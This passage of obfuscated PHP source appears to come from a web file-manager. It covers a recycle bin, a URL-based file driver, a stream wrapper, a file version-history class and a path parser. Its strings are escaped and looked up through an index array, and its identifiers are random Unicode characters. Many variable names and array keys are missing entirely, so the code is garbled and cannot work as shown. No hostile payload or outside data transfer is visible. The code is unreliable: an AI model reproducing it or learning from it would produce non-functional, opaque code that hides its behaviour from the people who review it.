=> $[$ʨ[496]], $ʨ[580] => $[$ʨ[511]]); $this->add($õ؍); $this->recycleMove($Ͳ, 1); if ($[$ʨ[410]] == $ʨ[88]) { $̾ª = array($ʨ[580] => array($ʨ[540], $[$ʨ[511]] . $Ͳ . $ʨ[541])); $ρԵ->where($̾ª)->setField($ʨ[431], 1); } } public function clear() { $this->remove(!1); } public function remove($ = false, $彮 = false) { $ˍ =& $_SERVER[]; $彮 = $彮 ? $彮 : USER_ID; $ = Model($ˍ[1335]); $Ϧ = $this->listData($彮); $ = $ === !1 ? !1 : $; $ = array(); foreach ($Ϧ as $ƀ) { if ($ != !1 && !in_array($ƀ, $)) { continue; } $ = $->sourceInfo($ƀ); $->remove($ƀ, !1); $٢ = $[$ˍ[411]] . $ˍ[11] . $[$ˍ[496]]; $[$٢] = array($ˍ[576] => $[$ˍ[411]], $ˍ[496] => $[$ˍ[496]]); $this->where(array($ˍ[402] => $ƀ))->delete(); } foreach ($ as $쪍) { $->targetSpaceUpdate($쪍[$ˍ[411]], $쪍[$ˍ[496]]); } } public function restore($ = false) { $ = $this->listData(); $this->_restoreSource($, $); } public function removeUserAll($) { $this->remove(!1, $); } private function _restoreSource($ݒѰ, $) { $Б =& $_SERVER[]; $Г = Model($Б[1335]); $ = $ == !1 ? !1 : $; if (!$ݒѰ) { return !0; } $ނ = array(); foreach ($ݒѰ as $͈) { if ($ != !1 && !in_array($͈, $)) { continue; } $ = $Г->sourceInfo($͈); $ȅ = $Г->sourceInfo($[$Б[432]]); if ($ȅ[$Б[431]] == $Б[88]) { continue; } $Г->lockMoveStart($͈); $this->recycleMove($͈, 0); if ($[$Б[410]] == $Б[88]) { $Ϻ = array($Б[580] => array($Б[540], $[$Б[511]] . $͈ . $Б[541])); $Г->where($Ϻ)->setField($Б[431], 0); $this->restoreFolderChildren($͈, $ݒѰ); } $this->where(array($Б[402] => $͈))->delete(); $Г->folderSizeReset($[$Б[432]]); $ނ[] = $[$Б[432]]; if ($[$Б[410]] == $Б[88]) { $ނ[] = $͈; } $Г->lockMoveEnd($͈); } $Г->updateModifyTime($ނ); } private function restoreFolderChildren($Ȥ, $ہ) { $ǻ¥ =& $_SERVER[]; $ = Model($ǻ¥[1335]); $𘉴 = array($ǻ¥[402] => array($ǻ¥[7], array())); foreach ($ہ as $߫) { if ($߫ == $Ȥ) { continue; } if (!$->isParentOf($Ȥ, $߫)) { continue; } $ = $->sourceInfo($߫); if ($[$ǻ¥[410]] == $ǻ¥[88]) { $𘉴[] = array($ǻ¥[580] => array($ǻ¥[540], $[$ǻ¥[511]] . $߫ . $ǻ¥[541])); } else { $𘉴[$ǻ¥[402]][1][] = $߫; } } if (!$𘉴[$ǻ¥[402]][1]) { unset($𘉴[$ǻ¥[402]]); } if (!$𘉴) { return; } $𘉴[$ǻ¥[402]][1] = array_unique($𘉴[$ǻ¥[402]][1]); $𘉴[$ǻ¥[996]] = $ǻ¥[1950]; $->where($𘉴)->setField($ǻ¥[431], 1); } private function recycleMove($ԁ, $ڟ = 1) { $ =& $_SERVER[]; $ɠ = Model($[1335]); $횈 = Model($[2166]); $ = array($[402] => $ԁ); if ($ڟ) { $ɠ->where($)->setField($[431], 1); $횈->eventRecycle($ԁ, $[2167]); } else { $χ = $ɠ->where($)->find(); $ = $χ[$[410]] == $[88]; $Ȥ = $ɠ->fileNameAuto($χ[$[432]], $χ[$[32]], REPEAT_RENAME_FOLDER, $); if ($Ȥ != $χ[$[32]]) { $ɠ->rename($ԁ, $Ȥ); } $ɠ->where($)->setField($[431], 0); $횈->eventRecycle($ԁ, $[2168]); } } } class SourceSecretModel extends ModelBaseLight { public $optionType = "\123\x79\163\x74\145\x6d\56\x73\157\165\x72\143\145\123\145\x63\162\145\x74\x4c\151\x73\164"; public $field = array("\x73\x6f\x75\162\x63\145\x49\x44", "\x74\171\160\x65\111\x44", "\143\x72\145\141\x74\x65\125\163\145\162"); } goto cʩ; b¼: class PathDriverUrl extends PathDriverBase { static $_cacheHeader = array(); public function __construct($ԧ = false) { } public function exist($) { $ɩ = $this->info($); return $ɩ[$_SERVER[][202]]; } public function isFile($ޕ) { $ӎ = $this->info($ޕ); return $ӎ[$_SERVER[][202]]; } public function isFolder($) { return !1; } public function size($փ) { $ = $this->info($փ); return $[$_SERVER[][76]]; } public function info($) { return $this->infoParse($); } public function infoAuth($𮧀) { return $this->infoParse($𮧀); } public function infoWithChildren($) { return $this->infoParse($); } public function infoFull($ȣ) { return $this->infoParse($ȣ); } private function infoParse($ɦ) { $ֈɭ =& $_SERVER[]; $؎א = $this->header($ɦ); if (!$؎א || !$؎א[$ֈɭ[746]]) { return !1; } $Չ = _get($؎א, $ֈɭ[337], 0); $ڴ = array($ֈɭ[32] => $؎א[$ֈɭ[32]], $ֈɭ[84] => $ɦ, $ֈɭ[33] => $ֈɭ[200], $ֈɭ[76] => intval($Չ), $ֈɭ[174] => get_path_ext($؎א[$ֈɭ[32]]), $ֈɭ[1386] => $Չ > 0 && $؎א[$ֈɭ[1508]], $ֈɭ[1387] => !1); return $ڴ; } private function header($ң) { $ʓנ =& $_SERVER[]; if (isset(self::$_cacheHeader[$ң])) { return self::$_cacheHeader[$ң]; } $α = isset($GLOBALS[$ʓנ[1509]]) ? $GLOBALS[$ʓנ[1509]] : !1; $GLOBALS[$ʓנ[1509]] = !0; self::$_cacheHeader[$ң] = url_header($ң); $GLOBALS[$ʓנ[1509]] = $α; return self::$_cacheHeader[$ң]; } public function hashSimple($, $ = false) { $ =& $_SERVER[]; $ņ = $this->info($); if (!$ņ || !$ņ[$[202]]) { return !1; } $ه = $ņ[$[76]]; $̈Ď = 200; $ = 50; if ($ه <= $̈Ď * $) { return md5($this->fileSubstr($, 0, $ه)) . $ه; } $ռ = intval($ه / $); $俊 = $[12]; $ = timeFloat(); $ů = 15; for ($㺬¼ = 0; $㺬¼ < $; $㺬¼++) { if (timeFloat() - $ > $ů) { return !1; } $Όӂ = $this->fileSubstr($, $ռ * $㺬¼, $̈Ď); if (!$Όӂ) { return !1; } $俊 .= $Όӂ; } $俊 .= $this->fileSubstr($, $ه - $̈Ď, $̈Ď); return md5($俊) . $ه; } public function getContent($Ē¦) { return $this->fileSubstr($Ē¦); } public function fileSubstr($٘, $ = 0, $̇ = -1) { $Ԭ =& $_SERVER[]; $֩ = $this->info($٘); if (!$֩ || !$֩[$Ԭ[202]] && $֩[$Ԭ[76]] > 1024 * 1024 * 10) { return !1; } if ($̇ === -1) { $̇ = $֩[$Ԭ[76]]; } if ($̇ == 0) { return $Ԭ[12]; } $ٮ = array($Ԭ[1510] . $ . $Ԭ[779] . ($ + $̇ - 1)); $ = url_request($٘, $Ԭ[230], !1, $ٮ, !1, !1, 30); return $[$Ԭ[1198]] ? $[$Ԭ[1198]] : $Ԭ[12]; } public function download($, $ǣ) { Downloader::start($, $ǣ); return $ǣ; } } class StreamWrapperIO { private $path; private $info; private $pose = 0; static $_fopenCache = array(); static $_chunkBuffer = array(); private $timeStart = 0; function stream_open($Ԛ, $ = '') { $this->info = $this->info($Ԛ); $this->timeStart = timeFloat(); $this->path = $this->info[$_SERVER[][84]]; $this->pathOpen = $Ԛ; if (!$this->info) { return !1; } if (count(self::$_chunkBuffer) > 100) { self::$_chunkBuffer = null; self::$_chunkBuffer = array(); } if (!isset(self::$_chunkBuffer[$Ԛ])) { self::$_chunkBuffer[$Ԛ] = array(); } self::$_fopenCache[$this->pathOpen] = $this; return $this->info ? !0 : !1; } function stream_read($ҥ) { $ = $this->fileSubstr($this->pose, $ҥ); $this->pose += strlen($); return $; } public function stream_tell() { return $this->pose; } public function stream_seek($͏, $ɏ) { $츓 =& $_SERVER[]; if ($ɏ == SEEK_SET) { $this->pose = $͏; } else { if ($ɏ == SEEK_CUR) { $this->pose += $͏; } else { if ($ɏ == SEEK_END) { $this->pose = $this->info[$츓[76]] + intval($͏); } } } if ($͏ < 0) { $this->pose = $this->info[$츓[76]] + $͏; } return !0; } public function stream_eof() { return $this->pose >= $this->info[$_SERVER[][76]]; } public function stream_close() { unset(self::$_fopenCache[$this->pathOpen]); return !0; } public function url_stat($Ñ, $ފ) { $د =& $_SERVER[]; $ = $this->info($Ñ); return array($د[1511] => 0, $د[1512] => 0, $د[16] => 32768 + 511, $د[1513] => 0, $د[1514] => 0, $د[1515] => 0, $د[1516] => 0, $د[76] => $[$د[76]], $د[1517] => $[$د[1385]], $د[1473] => $[$د[85]], $د[1472] => $[$د[201]], $د[1518] => 0, $د[1519] => 0); } static $fileInfo = array(); public function info($ξ) { $ = $_SERVER[][1520]; if (isset(self::$fileInfo[$ξ])) { return self::$fileInfo[$ξ]; } if (substr($ξ, 0, strlen($)) != $) { return !1; } self::$fileInfo[$ξ] = IO::info(substr($ξ, strlen($))); return self::$fileInfo[$ξ]; } public static function read($ǎ, $, $ֿ) { if (!isset(self::$_fopenCache[$ǎ])) { $ = new StreamWrapperIO(); $->stream_open($ǎ); self::$_fopenCache[$ǎ] = $; } $ = self::$_fopenCache[$ǎ]; return $->fileSubstr($, $ֿ); } public static function _read($, $, $ֆ) { $ӳ =& $_SERVER[]; $ = fopen($, $ӳ[1389]); if (!$) { return $ӳ[12]; } $ƭʛ = 8192; fseek($, $, SEEK_SET); $ = $ӳ[12]; $ӄ = 0; while ($ӄ < $ֆ) { $ԕ = min($ƭʛ, $ֆ - $ӄ); $ .= fread($, $ԕ); $ӄ += $ԕ; } fclose($); return $; } public function fileSubstr($, $Dž) { $ =& $_SERVER[]; $ = $this->info[$[76]]; $խ = $; $ = $Dž; if ($ < 0) { $ = $ + $; } if ($Dž === !1) { $Dž = $ - $; } if ($ + $Dž > $) { $Dž = $ - $; } if ($Dž <= 0) { return $[12]; } if ($ < 0 || $ >= $ || $Dž <= 0 || $Dž > 1024 * 1024 * 10) { throw new Exception("\x69\x6f\106\151\154\145\x52\145\x61\144\x20\x65\x72\162\x6f\x72\x21\40\x73\164\x61\162\x74\75{$}\x3b\x6c\x65\x6e\147\x74\150\x3d{$Dž}\73\40\163\151\x7a\x65\75{$}\x3b"); } $֯ڷ = 64 * 1024; $ɐ =& self::$_chunkBuffer[$this->path]; if (!$ɐ) { $ɐ = array(); } $ = 0; $쎷 = 0; $ꑗ = $[12]; foreach ($ɐ as $ => $ꑗ) { $ = intval($); $쎷 = $ + strlen($ꑗ); if ($ >= $쎷) { continue; } if ($ >= $ && $ + $Dž <= $쎷) { return substr($ꑗ, $ - $, $Dž); } break; } if (count($ɐ) > 100 || timeFloat() - $this->timeStart > 2.0) { $this->log($[1521], $[1522] . count($ɐ) . "\73\163\164\141\162\x74\75{$}\x2c\154\145\156\147\164\x68\75{$Dž}\73\160\157\163\145\x3a{$}\176{$쎷}"); throw new Exception($[1523]); } $٬ = intval($ / $֯ڷ) * $֯ڷ; $ = ceil(($ + $Dž) / $֯ڷ) * $֯ڷ - $٬; $ = IO::fileSubstr($this->path, $٬, $); $ɐ[$٬ . $[12]] = $; ksort($ɐ); $ԟ = substr($, $ - $٬, $Dž); return $ԟ; } private function log($ٓ, $) { $Ǡ =& $_SERVER[]; $ܺ = timeFloat() - $this->timeStart; write_log(sprintf($Ǡ[1524], $ٓ, $this->info[$Ǡ[32]], $ܺ, $), $Ǡ[1178]); } } class Message { function __construct() { } public function send($ = '', $ = array(), $훬 = "\x74\x65\170\164") { $ӆ =& $_SERVER[]; $ = array($ӆ[33] => $ӆ[1525], $ӆ[751] => $); if (in_array($훬, array($ӆ[1525], $ӆ[1526]))) { $[$ӆ[33]] = $훬; } $ = array($ӆ[505] => isset($[$ӆ[505]]) ? $[$ӆ[505]] : $ӆ[12], $ӆ[590] => isset($[$ӆ[590]]) ? $[$ӆ[590]] : $ӆ[12]); if (empty($) || empty($[$ӆ[505]]) && empty($[$ӆ[590]])) { return !1; } $Ǫ = array($ӆ[1466] => $, $ӆ[1527] => $); Hook::trigger($ӆ[1528], $Ǫ); } } goto Cʡ; Cѫ: class IOHistory { public static $_historyBase = ''; function __construct() { } public static function bindEvent() { $ =& $_SERVER[]; $얽 = $GLOBALS[$[6]][$[89]]; if ($얽[$[1212]] != 1) { return; } if ($얽[$[1213]] <= 0) { return; } if (isset($_REQUEST[$[1214]]) && $_REQUEST[$[1214]] == $[88]) { return; } Hook::bind($[1215], $[1216]); Hook::bind($[1217], $[1218]); Hook::bind($[1219], $[1220]); Hook::bind($[1221], $[1222]); Hook::bind($[1223], $[1224]); Hook::bind($[1225], $[1226]); } public static function eventBeforeUpload($֦컟) { if ($֦컟[3] && $֦컟[3] != REPEAT_REPLACE) { return; } $ = self::parsePath($֦컟[0]); if (!$) { return; } self::add($); } public static function eventBeforeEdit($) { $ԛ = self::parsePath($[0]); if (!$ԛ) { return; } self::add($ԛ); } public static function eventBeforeCopyFile($, $ə, $Ӌ, $, $̣, $陵) { $іͥ =& $_SERVER[]; if (isset($Ӌ->_data[$іͥ[1151]]) && $Ӌ->_data[$іͥ[1151]]) { return; } $ = $Ӌ->getPathOuter($); $ĜՔ = self::parsePath($); if (!$ĜՔ) { return; } self::add($ĜՔ); } public static function eventBeforeRename($ږ) { $ =& $_SERVER[]; $ = self::parsePath($ږ[0]); if (!$) { return; } $ᮆϛ = self::checkInHistory($); if (!$ᮆϛ) { return; } if ($ᮆϛ[$[33]] == $[200]) { $ = self::listData($); if ($ && $[$[369]]) { self::moveHistory($, $ږ[1]); } } else { IO::rename($ᮆϛ[$[84]], $ږ[1]); } } public static function eventBeforeMove($۵) { $ =& $_SERVER[]; $Ҕ = self::parsePath($۵[0]); if (!$Ҕ) { return; } $ = self::parsePath($۵[1]); if (!$) { return; } $Э = $۵[3]; $ = self::checkInHistory($Ҕ); if (!$) { return; } $ = self::pathHistory($); if ($[$[33]] == $[200]) { $ = self::listData($Ҕ); $ = rtrim($, $[8]) . $[8] . ($Э ? $Э : get_path_this($Ҕ)); $ʾפ = self::listData($); if ($ && $[$[369]] && $ʾפ && $ʾפ[$[369]]) { return self::clear($Ҕ); } if ($ && $[$[369]]) { self::moveHistory($Ҕ, $Э, $); } } else { IO::move($[$[84]], $, !1, $Э); self::clearEmptyFolder(IO::pathFather($[$[84]])); } } public static function eventAfterRemove($ש, $଼) { $ʓ씚 =& $_SERVER[]; if (!$଼) { return; } $ǃ = self::parsePath($ש[0]); if (!$ǃ) { return; } $ = self::checkInHistory($ǃ); if (!$) { return; } if ($[$ʓ씚[33]] == $ʓ씚[200]) { $ = self::listData($ǃ, !1); if ($ && $[$ʓ씚[369]]) { self::clear($ǃ, !1); } } else { IO::remove($[$ʓ씚[84]]); self::clearEmptyFolder(IO::pathFather($[$ʓ씚[84]])); } } private static function checkInHistory($Ѵ) { $ = self::pathHistory($Ѵ); if (!IO::exist($)) { $ .= $_SERVER[][1227]; } return IO::exist($) ? IO::info($) : !1; } private static function parsePath($֚ܭ) { $܅ =& $_SERVER[]; if (!$֚ܭ) { return !1; } if ($GLOBALS[$܅[1228]]) { return; } $˻ = KodIO::parse($֚ܭ); $ф = $˻[$܅[33]]; $ƾ = !$ф || $ф == KodIO::KOD_IO || $ф == KodIO::KOD_SHARE_ITEM; if (!$ƾ || !$˻[$܅[1229]]) { return !1; } if (substr($֚ܭ, 0, strlen(DATA_PATH . $܅[1230])) == DATA_PATH . $܅[1230]) { return !1; } if ($ф == KodIO::KOD_SHARE_ITEM) { $ = IO::init($֚ܭ); if ($->pathParse[$܅[1147]]) { return self::parsePath($->pathParse[$܅[1147]]); } return !1; } if (!self::$_historyBase) { self::$_historyBase = self::getBasePath(); } $ۜԾ = array(self::$_historyBase, TEMP_PATH, BASIC_PATH . $܅[1231]); foreach ($ۜԾ as $ݠ) { if (!$ф && substr($֚ܭ, 0, strlen($ݠ)) == $ݠ) { return !1; } } self::log($GLOBALS[$܅[1142]] . $܅[1232] . $֚ܭ); return $֚ܭ; } private static function pathHistory($ڝ) { $֮ =& $_SERVER[]; $ү = self::$_historyBase . ltrim(KodIO::clear($ڝ), $֮[8]); $ү = str_replace(array($֮[1233]), array($֮[1234]), $ү); return $ү; } public static function log($ѡ) { } public static function historyCount($) { $ =& $_SERVER[]; $צɋ = array(); $ԣ = array(); foreach ($ as $ݱ
) { $ʞ = get_path_father($ݱ
); if (!$ԣ[$ʞ]) { $ԣ[$ʞ] = array(); } $ԣ[$ʞ][] = get_path_this($ݱ
); } foreach ($ԣ as $ʞ => $Ŏ) { $ټ = self::parsePath($ʞ); if (!$ټ) { continue; } foreach ($Ŏ as $ǚ) { $ = self::listData(rtrim($ټ, $[8]) . $[8] . $ǚ, !1); if ($ && $[$[369]]) { $צɋ[rtrim($ʞ, $[8]) . $[8] . $ǚ] = count($[$[369]]); } } } return $צɋ; } public static function add($) { $ =& $_SERVER[]; $ԝ = self::listData($); if (!$ԝ) { return; } $ȑ = Model($[767])->get($[1235]); $ԇ = $GLOBALS[$[6]][$[89]][$[1213]]; $ຫ = $ȑ == $[1236] ? min(5, $ԇ) : $ԇ; if ($ԇ <= 0) { return; } $ = IO::info($); $ = $ԝ[$[369]]; if ($[$[76]] == 0) { return; } if ($[$[76]] >= 1024 * 1024 * 500) { return !1; } $Ҟ = IO::hashSimple($); if ($ && $[0][$[177]] == $Ҟ) { return !0; } if (array_key_exists($[203], $) && !$[$[203]]) { return !1; } $߃ = short_id(time()); $̉Ȅ = array($[399] => $߃, $[177] => $Ҟ, $[32] => $[$[32]] . $[10] . date($[1237]) . rand_string(1), $[76] => $[$[76]], $[454] => USER_ID, $[201] => time(), $[1238] => $[12]); IO::mkdir($ԝ[$[1239]]); $ޟ룎 = IO::copy($, $ԝ[$[1239]], !1, $̉Ȅ[$[32]]); if (!$ޟ룎) { self::clearEmptyFolder($ԝ[$[1239]]); return !1; } array_unshift($, $̉Ȅ); if (count($) > $ຫ) { $Ǹ = array_slice($, $ຫ); foreach ($Ǹ as $Ϭ) { IO::remove($ԝ[$[1239]] . $Ϭ[$[32]]); } $ = array_slice($, 0, $ຫ); } return self::saveData($ԝ[$[1240]], $); } public static function remove($ϥ, $睷) { $ =& $_SERVER[]; $ = self::listData($ϥ); $Ɖ = array(); if (!$) { return !1; } foreach ($[$[369]] as $) { if ($[$[399]] == $睷) { IO::remove($[$[1239]] . $[$[32]]); continue; } $Ɖ[] = $; } return self::saveData($[$[1240]], $Ɖ); } public static function clear($, $ = true) { $¯ =& $_SERVER[]; $ف = self::listData($, $); if (!$ف) { return !1; } foreach ($ف[$¯[369]] as $) { IO::remove($ف[$¯[1239]] . $[$¯[32]]); } return self::saveData($ف[$¯[1240]], array()); } public static function moveHistory($, $젧ՙ = '', $﮴ = '') { $ =& $_SERVER[]; $ĸ = self::listData($, !1); if (!$ĸ || !$ĸ[$[369]]) { return !1; } $ = $[1227]; $젧ՙ = $젧ՙ ? $젧ՙ : get_path_this($); $﮴ = $﮴ ? $﮴ : $ĸ[$[1239]]; $玧 = substr(get_path_this($ĸ[$[1240]]), 0, -strlen($)); foreach ($ĸ[$[369]] as $Ͱ => $) { $鲘 = $젧ՙ . substr($[$[32]], strlen($玧)); $ܯ = IO::move($ĸ[$[1239]] . $[$[32]], $﮴, !1, $鲘); if ($ܯ) { $ĸ[$[369]][$Ͱ][$[32]] = $鲘; } } $ĸ[$[1240]] = IO::move($ĸ[$[1240]], $﮴, !1, $젧ՙ . $); self::saveData($ĸ[$[1240]], $ĸ[$[369]]); self::clearEmptyFolder($ĸ[$[1239]]); } public static function rollback($ĉ, $𩠅) { $ =& $_SERVER[]; $ = self::listData($ĉ); if (!$) { return; } $͔ = IO::info($ĉ); foreach ($[$[369]] as $֦ٮ => $̨) { if ($̨[$[399]] == $𩠅) { self::add($ĉ); $髞 = $[$[1239]] . $̨[$[32]]; $Ҷ = IO::copy($髞, IO::pathFather($ĉ), REPEAT_REPLACE, $͔[$[32]]); if ($Ҷ) { self::remove($ĉ, $𩠅); } return $Ҷ; } } return !1; } public static function setDetail($詋, $, $) { $Ѹ =& $_SERVER[]; $Ȕ = self::listData($詋); if (!$Ȕ) { return; } foreach ($Ȕ[$Ѹ[369]] as $ǎ => $Ŏ) { if ($Ŏ[$Ѹ[399]] == $) { $Ȕ[$Ѹ[369]][$ǎ][$Ѹ[1238]] = $; self::saveData($Ȕ[$Ѹ[1240]], $Ȕ[$Ѹ[369]]); return !0; } } return !1; } public static function fileInfo($ꜛ, $ߛ) { $ޖ =& $_SERVER[]; $ = self::listData($ꜛ); if (!$) { show_json(LNG($ޖ[105]), !1); } $ = $ޖ[12]; foreach ($[$ޖ[369]] as $ => $܀) { if ($܀[$ޖ[399]] != $ߛ) { continue; } $ = $[$ޖ[1239]] . $܀[$ޖ[32]]; break; } if (!$) { show_json(LNG($ޖ[105]), !1); } return IO::info($); } public static function fileOut($ن, $੪, $ = false) { $ =& $_SERVER[]; $ = self::fileInfo($ن, $੪); $ =& $GLOBALS[$[7]]; $ = isset($[$[1190]]) && $[$[1190]] == 1; if (isset($[$[33]]) && $[$[33]] == $[1241]) { return IO::fileOutImage($[$[84]], $[$[1242]]); } IO::fileOut($[$[84]], $, get_path_this($ن)); } public static function listData($, $Ά = true) { $т =& $_SERVER[]; if ($Ά && !IO::exist($)) { return !1; } if (!self::$_historyBase) { self::$_historyBase = self::getBasePath(); } if (substr($, 0, strlen(TEMP_PATH)) == TEMP_PATH) { return !1; } $ = self::pathHistory($); $Ĩ = array($т[1240] => $ . $т[1227], $т[1239] => rtrim(get_path_father($), $т[8]) . $т[8], $т[369] => array()); $ɿ = IO::getContent($Ĩ[$т[1240]]); if ($ɿ) { $ = json_decode($ɿ, !0); if (is_array($)) { $Ĩ[$т[369]] = $; } } return $Ĩ; } private static function saveData($, $И) { $႞ =& $_SERVER[]; self::log($႞[1243] . $ . $႞[71] . count($И), $႞[748]); if ($И) { return IO::setContent($, json_encode($И)); } $ = IO::pathFather($); IO::remove($); self::clearEmptyFolder($); return !0; } public static function clearEmptyFolder($) { $ =& $_SERVER[]; if (trim($, $[8]) == trim(self::$_historyBase, $[8])) { return; } $ = IO::pathFather($); $ = IO::has($, !0); if ($[$[207]] > 0 || $[$[208]] > 0) { return; } IO::remove($); self::clearEmptyFolder($); } private static function getBasePath() { $砰 =& $_SERVER[]; $ڑ = Model($砰[1244])->get($砰[1245]); if ($ڑ) { if (!IO::exist($ڑ)) { IO::mkdir($ڑ); } if (get_path_this($ڑ) == $砰[1230]) { $⑻ = $砰[1246] . rand_string(8); @rename($ڑ, get_path_father($ڑ) . $砰[8] . $⑻); $ڑ = DATA_PATH . $⑻ . $砰[8]; file_put_contents(DATA_PATH . $砰[1180], $砰[12]); Model($砰[1244])->set($砰[1245], $ڑ); } return $ڑ; } $ڑ = DATA_PATH . $砰[1246] . rand_string(8) . $砰[8]; $ڑ = IO::mkdir($ڑ); $ڑ = rtrim($ڑ, $砰[8]) . $砰[8]; file_put_contents($ڑ . $砰[1180], $砰[12]); file_put_contents(DATA_PATH . $砰[1180], $砰[12]); Model($砰[1244])->set($砰[1245], $ڑ); return $ڑ; } } class KodIO { const KOD_SOURCE = "\x7b\x73\157\x75\162\x63\145\175"; const KOD_USER_RECYCLE = "\x7b\165\x73\x65\x72\122\145\x63\x79\x63\x6c\x65\175"; const KOD_USER_FAV = "\x7b\x75\163\145\x72\106\x61\x76\175"; const KOD_USER_FILE_TAG = "\x7b\165\163\145\162\x46\151\x6c\x65\x54\141\x67\x7d"; const KOD_USER_FILE_TYPE = "\173\165\x73\x65\x72\x46\151\154\145\124\x79\x70\145\x7d"; const KOD_GROUP_ROOT_SELF = "\x7b\147\x72\157\x75\160\x52\x6f\x6f\x74\x53\x65\x6c\x66\175"; const KOD_USER_SHARE = "\173\165\x73\145\x72\x53\150\x61\162\x65\175"; const KOD_USER_SHARE_LINK = "\x7b\x75\x73\145\162\x53\150\141\162\x65\114\x69\x6e\153\175"; const KOD_USER_SHARE_TO_ME = "\x7b\x73\x68\141\162\x65\x54\x6f\x4d\x65\175"; const KOD_SHARE_ITEM = "\x7b\163\150\x61\162\145\111\164\145\x6d\175"; const KOD_SHARE_LINK = "\x7b\x73\x68\141\x72\x65\111\x74\145\x6d\114\x69\156\x6b\x7d"; const KOD_SEARCH = "\173\163\145\141\x72\x63\150\x7d"; const KOD_BLOCK = "\x7b\142\x6c\157\143\x6b\175"; const KOD_IO = "\173\x69\157\175"; const KOD_USER_RECENT = "\x7b\165\163\145\162\122\x65\x6e\x63\x65\x6e\164\175"; const KOD_USER_DRIVER = "\173\x64\162\151\x76\x65\x72\175"; public static function typeList() { $ѹ =& $_SERVER[]; return array($ѹ[1247] => self::KOD_SOURCE, $ѹ[1248] => self::KOD_USER_RECYCLE, $ѹ[1249] => self::KOD_USER_FAV, $ѹ[1250] => self::KOD_USER_FILE_TAG, $ѹ[1251] => self::KOD_USER_FILE_TYPE, $ѹ[1252] => self::KOD_GROUP_ROOT_SELF, $ѹ[1253] => self::KOD_USER_SHARE, $ѹ[1254] => self::KOD_USER_SHARE_LINK, $ѹ[1255] => self::KOD_USER_SHARE_TO_ME, $ѹ[1256] => self::KOD_SHARE_ITEM, $ѹ[1257] => self::KOD_SHARE_LINK, $ѹ[1258] => self::KOD_SEARCH, $ѹ[1259] => self::KOD_BLOCK, $ѹ[1260] => self::KOD_IO, $ѹ[1261] => self::KOD_USER_RECENT, $ѹ[1262] => self::KOD_USER_DRIVER); } public static function parse($Ӧ) { $ =& $_SERVER[]; $Ӧ = self::clear($Ӧ); $ = array_values(self::typeList()); preg_match($[1263], $Ӧ, $); $ = array($[422] => !1, $[1264] => !1, $[419] => !1, $[84] => $Ӧ, $[1165] => !1, $[1164] => $[12]); if (is_array($) && count($) == 5) { $ݺ = $[1265] . $[2] . $[327]; if (in_array($ݺ, $)) { $[$[1165]] = $[1]; $[$[33]] = $ݺ; $[$[1266]] = substr($ݺ, 1, -1); $[$[399]] = $[3]; } $[$[1164]] = $[4]; } $ = array($[12], self::KOD_SOURCE, self::KOD_IO, self::KOD_SHARE_ITEM, self::KOD_SHARE_LINK, self::KOD_USER_DRIVER); $[$[1229]] = in_array($[$[33]], $); return $; } public static function isTruePath($) { $ =& $_SERVER[]; if (substr($, 0, 1) != $[1265]) { return !0; } if (strpos($, $[408]) === 0) { return !0; } if (strpos($, $[1233]) === 0) { return !0; } if (strpos($, $[1267]) === 0) { return !0; } if (strpos($, $[1268]) === 0) { return !0; } if (strpos($, $[1269]) === 0) { return !0; } return !1; } public static function clear($ެʊ) { $ =& $_SERVER[]; $ެʊ = str_replace(array($[1074], $[231]), $[53], $ެʊ); $ެʊ = str_replace($[97], $[8], $ެʊ); $ = $[1270]; if (substr($ެʊ, 0, 3) == $[1271]) { $ެʊ = substr($ެʊ, 3); } while (strstr($ެʊ, $)) { $ެʊ = str_replace($, $[8], $ެʊ); } $ެʊ = preg_replace($[1272], $[8], $ެʊ); if ($ެʊ == $[8]) { return $[8]; } $ެʊ = rtrim($ެʊ, $[8]); return $ެʊ; } public static function sourceID($) { $ =& $_SERVER[]; $ƣ = self::parse($); if ($ƣ[$[33]] !== self::KOD_SOURCE) { show_json(LNG($[1273]), !1); } return $ƣ[$[399]]; } public static function make($) { if (!$) { return !1; } return self::makePath(self::KOD_SOURCE, intval($)); } public static function makeShare($ͬ, $ӡک) { return self::makePath(self::KOD_SHARE_ITEM, $ͬ, $ӡک); } public static function makeFileTypePath($𬗝) { return self::makePath(self::KOD_USER_FILE_TYPE, $𬗝); } public static function makeFileTagPath($) { return self::makePath(self::KOD_USER_FILE_TAG, $); } public static function makePath($ܦ棠, $ = '', $ŏӫ = '') { $ =& $_SERVER[]; $ = substr($ܦ棠, 1, -1); $ = $[1274] . $ . $[1275] . $ . $[1276]; $ = $ŏӫ ? $ . $ŏӫ . $[8] : $; return $; } public static function hashPath($Ϥ, $֪ = true) { $Ұ =& $_SERVER[]; $Ë = is_array($Ϥ) ? $Ϥ : IO::info($Ϥ); $ = _get($Ë, $Ұ[1277], $Ұ[12]); if (!$ && isset($Ë[$Ұ[402]])) { $Ë = IO::info(KodIO::make($Ë[$Ұ[402]])); $ = _get($Ë, $Ұ[1277], $Ұ[12]); } if (!$ && $֪) { $ = KodIO::parse($Ë[$Ұ[84]]); if (!$[$Ұ[33]]) { $ = IO::hashSimple($Ë[$Ұ[84]]); } } if (!$) { $ = md5($Ë[$Ұ[84]] . $Ë[$Ұ[76]] . $Ë[$Ұ[85]]); } return $; } public static function hashPathSafe($Ő, $ = true) { $ =& $_SERVER[]; $ = self::hashPath($Ő, $); return md5($ . $[1278] . Model($[767])->get($[768])); } public static function initSystemPath() { $ =& $_SERVER[]; if (defined($[1279])) { return; } define($[1279], self::systemPath($[1280])); define($[1281], self::systemPath($[1282])); define($[1283], self::systemPath($[1284])); define($[1285], self::systemPath($[1286])); IOHistory::bindEvent(); } public static function systemPath($Π) { $ =& $_SERVER[]; $ = $[1287] . ucfirst($Π); $ = Model($[767])->get($); if ($) { return $; } if ($Π == $[1280]) { $ = self::make(Model($[822])->systemRootPathAdd($[534])); } else { $ = self::systemPath($[1280]); $ = self::sourceID($); $ = self::make(Model($[822])->mkdir($, $Π)); } Model($[767])->set($, $); return $; } public static function systemFolder($) { $ = IO_PATH_SYSTEM_SOURCE . $; $ = Cache::get($); if (!$) { $۬ͅ = IO::infoFull($); if (!$۬ͅ) { $ = IO::mkdir($, REPEAT_SKIP); } else { $ = $۬ͅ[$_SERVER[][84]]; } Cache::set($, $, 3600 * 10); } return $; } public static function defaultDriver() { return Model($_SERVER[][764])->defaultDriver(); } public static function defaultIO() { $× =& $_SERVER[]; $ = self::defaultDriver(); return $×[1288] . $[$×[399]] . $×[1276]; } public static function defaultDriverInit() { static $Ë = false; if ($Ë) { return $Ë; } $Ë = IO::init(self::defaultIO()); return $Ë; } public static function 